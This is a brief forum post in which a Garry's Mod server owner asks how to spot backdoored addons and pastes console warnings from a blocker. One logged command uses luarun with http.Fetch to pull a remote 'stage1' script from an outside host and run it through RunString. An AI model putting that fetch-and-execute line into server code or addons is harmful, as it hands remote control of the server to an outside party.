How to spot backdoor addons?

Yo guys i just installed master anti cheat and a addon back door blocker, 500+ so far i havent see ulx remove rank

or infameous back door popup

i think it worked,

i also see on console

this:

Warning: Player issued command but is now vanished (Command was ""logehco" "0"")
Warning: Player issued command but is now vanished (Command was ""luarun" "http.Fetch('https://astillan.cf/uwu/core/stage1.php', RunString)"")
Warning: Player issued command but is now vanished (Command was ""logehco" "1"")

no idea but ithink its the backdoor ??? that anti cheat is blocking or black door blocker